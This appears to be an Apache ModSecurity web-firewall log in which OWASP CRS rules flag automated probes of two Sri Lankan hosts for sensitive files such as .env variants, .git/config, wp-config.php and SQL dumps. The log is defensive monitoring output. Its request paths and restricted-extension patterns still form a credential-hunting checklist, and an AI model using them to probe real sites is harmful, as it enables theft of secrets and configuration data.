[Fri Jul 17 08:28:03.206491 2026] [security2:error] [pid 1994446:tid 1994446] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/.env.dev"] [unique_id "almaO12NhE8i6ppze4etywAAAAs"]
[Fri Jul 17 08:28:03.206709 2026] [security2:error] [pid 1994446:tid 1994446] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/.env.dev"] [unique_id "almaO12NhE8i6ppze4etywAAAAs"]
[Fri Jul 17 08:28:03.207034 2026] [security2:error] [pid 1994446:tid 1994446] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO12NhE8i6ppze4etywAAAAs"]
[Fri Jul 17 08:28:03.226247 2026] [security2:error] [pid 1993570:tid 1993570] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/.git/config"] [unique_id "almaO3jA8yK8B7kryx3hnQAAAAk"]
[Fri Jul 17 08:28:03.226464 2026] [security2:error] [pid 1993570:tid 1993570] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/.git/config"] [unique_id "almaO3jA8yK8B7kryx3hnQAAAAk"]
[Fri Jul 17 08:28:03.226782 2026] [security2:error] [pid 1993570:tid 1993570] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO3jA8yK8B7kryx3hnQAAAAk"]
[Fri Jul 17 08:28:03.267150 2026] [security2:error] [pid 1996894:tid 1996894] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/.env.local"] [unique_id "almaO44Wmn5zySdNNkAkwAAAABM"]
[Fri Jul 17 08:28:03.267418 2026] [security2:error] [pid 1996894:tid 1996894] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/.env.local"] [unique_id "almaO44Wmn5zySdNNkAkwAAAABM"]
[Fri Jul 17 08:28:03.267757 2026] [security2:error] [pid 1996894:tid 1996894] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO44Wmn5zySdNNkAkwAAAABM"]
[Fri Jul 17 08:28:03.279694 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/.env.production"] [unique_id "almaO1h1WDijTxd1xw5I4AAAAAc"]
[Fri Jul 17 08:28:03.279941 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/.env.production"] [unique_id "almaO1h1WDijTxd1xw5I4AAAAAc"]
[Fri Jul 17 08:28:03.280265 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO1h1WDijTxd1xw5I4AAAAAc"]
[Fri Jul 17 08:28:03.284578 2026] [security2:error] [pid 2013828:tid 2013828] [client 13.222.98.178:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdc.lk"] [uri "/dump.sql"] [unique_id "almaO-N_HRgVfO4akvmJsQAAABg"]
[Fri Jul 17 08:28:03.285067 2026] [security2:error] [pid 2013828:tid 2013828] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/dump.sql"] [unique_id "almaO-N_HRgVfO4akvmJsQAAABg"]
[Fri Jul 17 08:28:03.285392 2026] [security2:error] [pid 2013828:tid 2013828] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO-N_HRgVfO4akvmJsQAAABg"]
[Fri Jul 17 08:28:03.297625 2026] [security2:error] [pid 2014285:tid 2014285] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/.env.staging"] [unique_id "almaOzPV8F2Ufi3kXba6ngAAAB4"]
[Fri Jul 17 08:28:03.299621 2026] [security2:error] [pid 2014285:tid 2014285] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/.env.staging"] [unique_id "almaOzPV8F2Ufi3kXba6ngAAAB4"]
[Fri Jul 17 08:28:03.300886 2026] [security2:error] [pid 2008451:tid 2008451] [client 13.222.98.178:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdc.lk"] [uri "/.env.backup"] [unique_id "almaOwPhWp7RzB65h36eygAAAA0"]
[Fri Jul 17 08:28:03.301056 2026] [security2:error] [pid 2008451:tid 2008451] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/.env.backup"] [unique_id "almaOwPhWp7RzB65h36eygAAAA0"]
[Fri Jul 17 08:28:03.301336 2026] [security2:error] [pid 2008451:tid 2008451] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/.env.backup"] [unique_id "almaOwPhWp7RzB65h36eygAAAA0"]
[Fri Jul 17 08:28:03.301857 2026] [security2:error] [pid 2008451:tid 2008451] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaOwPhWp7RzB65h36eygAAAA0"]
[Fri Jul 17 08:28:03.302504 2026] [security2:error] [pid 2014285:tid 2014285] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaOzPV8F2Ufi3kXba6ngAAAB4"]
[Fri Jul 17 08:28:03.318467 2026] [security2:error] [pid 1994956:tid 1994956] [client 13.222.98.178:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdc.lk"] [uri "/db.sql"] [unique_id "almaOwG5-NXx3Mem1QgODQAAAA8"]
[Fri Jul 17 08:28:03.318815 2026] [security2:error] [pid 1994956:tid 1994956] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/db.sql"] [unique_id "almaOwG5-NXx3Mem1QgODQAAAA8"]
[Fri Jul 17 08:28:03.319197 2026] [security2:error] [pid 1994956:tid 1994956] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaOwG5-NXx3Mem1QgODQAAAA8"]
[Fri Jul 17 08:28:03.340474 2026] [security2:error] [pid 1993715:tid 1993715] [client 13.222.98.178:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdc.lk"] [uri "/backup.sql"] [unique_id "almaO3RlmrtCoY_COpciigAAAAg"]
[Fri Jul 17 08:28:03.340817 2026] [security2:error] [pid 1993715:tid 1993715] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/backup.sql"] [unique_id "almaO3RlmrtCoY_COpciigAAAAg"]
[Fri Jul 17 08:28:03.341179 2026] [security2:error] [pid 1993715:tid 1993715] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO3RlmrtCoY_COpciigAAAAg"]
[Fri Jul 17 08:28:03.417917 2026] [security2:error] [pid 1993659:tid 1993659] [client 13.222.98.178:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaO5OFLENLI63GGOEKRAAAAAQ"]
[Fri Jul 17 08:28:03.418160 2026] [security2:error] [pid 1993659:tid 1993659] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/wp-config.php"] [unique_id "almaO5OFLENLI63GGOEKRAAAAAQ"]
[Fri Jul 17 08:28:03.418449 2026] [security2:error] [pid 1993659:tid 1993659] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO5OFLENLI63GGOEKRAAAAAQ"]
[Fri Jul 17 08:28:03.557662 2026] [security2:error] [pid 1993570:tid 1993570] [client 13.222.98.178:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdc.lk"] [uri "/database.sql"] [unique_id "almaO3jA8yK8B7kryx3hngAAAAk"]
[Fri Jul 17 08:28:03.558035 2026] [security2:error] [pid 1993570:tid 1993570] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/database.sql"] [unique_id "almaO3jA8yK8B7kryx3hngAAAAk"]
[Fri Jul 17 08:28:03.558421 2026] [security2:error] [pid 1993570:tid 1993570] [client 13.222.98.178:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almaO3jA8yK8B7kryx3hngAAAAk"]
[Fri Jul 17 08:28:03.662603 2026] [security2:error] [pid 2013797:tid 2013797] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/wp-config.php"] [unique_id "almaO1h1WDijTxd1xw5I4QAAAAc"]
[Fri Jul 17 08:28:03.662859 2026] [security2:error] [pid 2013797:tid 2013797] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/wp-config.php"] [unique_id "almaO1h1WDijTxd1xw5I4QAAAAc"]
[Fri Jul 17 08:28:03.664712 2026] [security2:error] [pid 2013797:tid 2013797] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/wp-config.php"] [unique_id "almaO1h1WDijTxd1xw5I4QAAAAc"]
